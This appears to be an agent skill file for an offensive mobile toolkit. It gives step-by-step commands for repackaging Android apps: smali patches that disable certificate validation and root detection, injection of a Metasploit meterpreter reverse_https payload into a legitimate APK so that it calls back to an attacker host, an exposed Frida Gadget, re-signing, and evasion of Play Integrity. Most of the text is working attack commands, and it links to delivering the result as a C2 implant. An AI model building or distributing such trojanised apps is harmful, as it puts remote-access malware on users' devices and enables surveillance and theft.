---
name: rt-apk-repackaging
description: "APK repackaging, smali patching, and payload injection — decompile any APK, patch bytecode to remove security checks or inject payloads, repackage and sign. Covers: injecting Metasploit/Frida payloads into real apps, bypassing root detection via smali, removing debug flags, patching hardcoded values, certificate bypass via smali. Docker: rtexit/kali:v3.1 has apktool, jadx, uber-apk-signer."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-apk-repackaging — APK Patching, Smali Injection & Payload Embedding

## Overview

Repackaging lets you modify any Android APK without source code — patch security controls, inject payloads, or embed Frida Gadget. Essential when you need persistent access or when dynamic bypass (Frida) isn't possible.

**When to use:**
- SSL pinning survives all runtime bypasses → patch smali directly
- Need to inject a backdoor into a legitimate app for client demonstration
- Disable certificate pinning, root detection, or tamper detection permanently
- Embed Frida Gadget for non-rooted device testing
- Modify app behavior to trigger specific code paths

---

## Setup

```bash
docker exec rtexit-kali bash -c "
# Verify tools
apktool --version
jadx --version
java -version

# Install uber-apk-signer (easier than keytool + jarsigner)
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar -O /opt/uber-apk-signer.jar
alias uas='java -jar /opt/uber-apk-signer.jar'
"
```

---

## Phase 1: Decompile & Analyze

```bash
docker exec rtexit-kali bash -c "
# Extract APK from device (if not available)
APP_PKG=com.target.app
APK_PATH=\$(adb shell pm path \$APP_PKG | cut -d: -f2 | tr -d '\r')
adb pull \$APK_PATH /tmp/target.apk
echo 'APK pulled to /tmp/target.apk'

# Decompile
apktool d /tmp/target.apk -o /tmp/target_dc --no-debug-info

# Also decompile to Java for reading logic
jadx -d /tmp/target_java /tmp/target.apk

# Check interesting files
cat /tmp/target_dc/AndroidManifest.xml | grep -E 'exported|permission|debuggable|networkSecurity'
ls /tmp/target_dc/res/xml/ 2>/dev/null  # look for network_security_config.xml
"
```

---

## Phase 2A: Remove SSL Pinning via Smali

```bash
docker exec rtexit-kali bash -c "
# Find pinning code in smali
grep -r 'CertificatePinner\|checkServerTrusted\|TrustManager\|pinning' /tmp/target_dc/smali* -l

# Find the pinning method in smali — e.g.:
# .method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
# .locals 0
# return-void   ← what we want
# .end method

# Current code may throw an exception. Patch to return-void:
# Open the smali file and change the method body to just 'return-void'
"
```

```smali
# Example: patch checkServerTrusted to do nothing (bypass)
.method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
    .locals 0
    
    return-void   # ← just return, no validation
    
.end method

# Also patch checkClientTrusted and getAcceptedIssuers
.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
    .locals 1
    
    const/4 v0, 0x0
    new-array v0, v0, [Ljava/security/cert/X509Certificate;
    return-object v0
    
.end method
```

---

## Phase 2B: Remove Root Detection via Smali

```bash
docker exec rtexit-kali bash -c "
# Find root detection methods
grep -r 'isRooted\|RootBeer\|checkRoot\|detectRoot\|su\|superuser' /tmp/target_dc/smali* -l

# Pattern: find method that returns boolean and calls root checks
# Patch to always return false
"
```

```smali
# Patch isRooted() to always return false
.method public isRooted()Z
    .locals 1
    
    const/4 v0, 0x0    # false
    return v0
    
.end method
```

---

## Phase 2C: Inject Metasploit Payload into Real APK

```bash
docker exec rtexit-kali bash -c "
# Step 1: Generate payload .apk
msfvenom -p android/meterpreter/reverse_https \
  LHOST=192.168.200.10 LPORT=4444 \
  -o /tmp/payload.apk

# Step 2: Decompile both APKs
apktool d /tmp/target.apk -o /tmp/target_dc
apktool d /tmp/payload.apk -o /tmp/payload_dc

# Step 3: Copy payload smali into target
cp -r /tmp/payload_dc/smali/com/metasploit /tmp/target_dc/smali/com/

# Step 4: Add permissions to target AndroidManifest.xml
# (that payload needs but target may not have)
# Common: INTERNET, READ_PHONE_STATE, ACCESS_NETWORK_STATE
# Add between existing <uses-permission> tags

# Step 5: Hook MainActivity.onCreate to launch payload
# Find MainActivity.smali in target
# Add at start of onCreate:
# invoke-static {}, Lcom/metasploit/stage/Payload;->start([Ljava/lang/String;)V

# Step 6: Repackage + sign
apktool b /tmp/target_dc -o /tmp/target_injected.apk
java -jar /opt/uber-apk-signer.jar -a /tmp/target_injected.apk --out /tmp/signed/
adb install /tmp/signed/target_injected-aligned-debugSigned.apk
"
```

```smali
# Inject payload call into MainActivity.onCreate
# Add BEFORE super.onCreate() call:

invoke-static {}, Lcom/metasploit/stage/Payload;->start([Ljava/lang/String;)V
```

---

## Phase 2D: Inject Frida Gadget (No Root Needed)

```bash
docker exec rtexit-kali bash -c "
# Download gadget
FRIDA_VER=\$(pip3 show frida | grep Version | awk '{print \$2}')
wget https://github.com/frida/frida/releases/download/\${FRIDA_VER}/frida-gadget-\${FRIDA_VER}-android-arm64.so.xz -O /tmp/gadget.xz
unxz /tmp/gadget.xz
mv /tmp/frida-gadget-* /tmp/target_dc/lib/arm64-v8a/libfrida-gadget.so

# Create Frida Gadget config (listen mode)
cat > /tmp/target_dc/lib/arm64-v8a/libfrida-gadget.config.so << 'EOF'
{
  \"interaction\": {
    \"type\": \"listen\",
    \"address\": \"0.0.0.0\",
    \"port\": 27042
  }
}
EOF

# Find entry point smali (MainActivity or Application)
# Add library load at very beginning of onCreate or attachBaseContext:
"
```

```smali
# Add to Application.attachBaseContext() or MainActivity.onCreate()
# This loads Frida Gadget before anything else:

const-string v0, "frida-gadget"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
```

```bash
docker exec rtexit-kali bash -c "
# Repackage + sign
apktool b /tmp/target_dc -o /tmp/target_gadget.apk
java -jar /opt/uber-apk-signer.jar -a /tmp/target_gadget.apk --out /tmp/signed/
adb install /tmp/signed/target_gadget-aligned-debugSigned.apk

# Launch app — it pauses waiting for Frida
adb shell am start -n com.target.app/.MainActivity

# Connect Frida to gadget
frida -H 127.0.0.1:27042 -n Gadget -l your-script.js
"
```

---

## Phase 3: Repackage & Sign

```bash
docker exec rtexit-kali bash -c "
# Build patched APK
apktool b /tmp/target_dc -o /tmp/target_patched.apk

# Sign with debug key (quick)
java -jar /opt/uber-apk-signer.jar \
  -a /tmp/target_patched.apk \
  --out /tmp/signed/ \
  --allowResign \
  --overwrite

# Install
adb install -r /tmp/signed/target_patched-aligned-debugSigned.apk
"
```

---

## Phase 4: Bypass Play Integrity / SafetyNet

```bash
# Apps using Play Integrity API will detect modified APK signature
# Bypass: Universal SafetyNet Fix (Magisk module on rooted device)

docker exec rtexit-kali bash -c "
# On rooted device: install Magisk module
# Universal SafetyNet Fix + MagiskHide (or Shamiko for Zygisk)
adb push MagiskModule-safetynetfix.zip /sdcard/
# Install via Magisk app
"

# Alternative: use Zygisk + ReZygisk + Shamiko for full detection bypass
```

---

## Related Skills
- `rt-frida-advanced` — dynamic instrumentation after repackaging
- `rt-mobile-ssl-pinning` — patch network_security_config via smali
- `rt-exploit-android` — full Android methodology
- `rt-mobile-malware-c2` — deliver repackaged APK as C2 implant

## References
- https://github.com/iBotPeaches/Apktool
- https://github.com/skylot/jadx
- https://attack.mitre.org/techniques/T1406/ — Obfuscated Files or Information
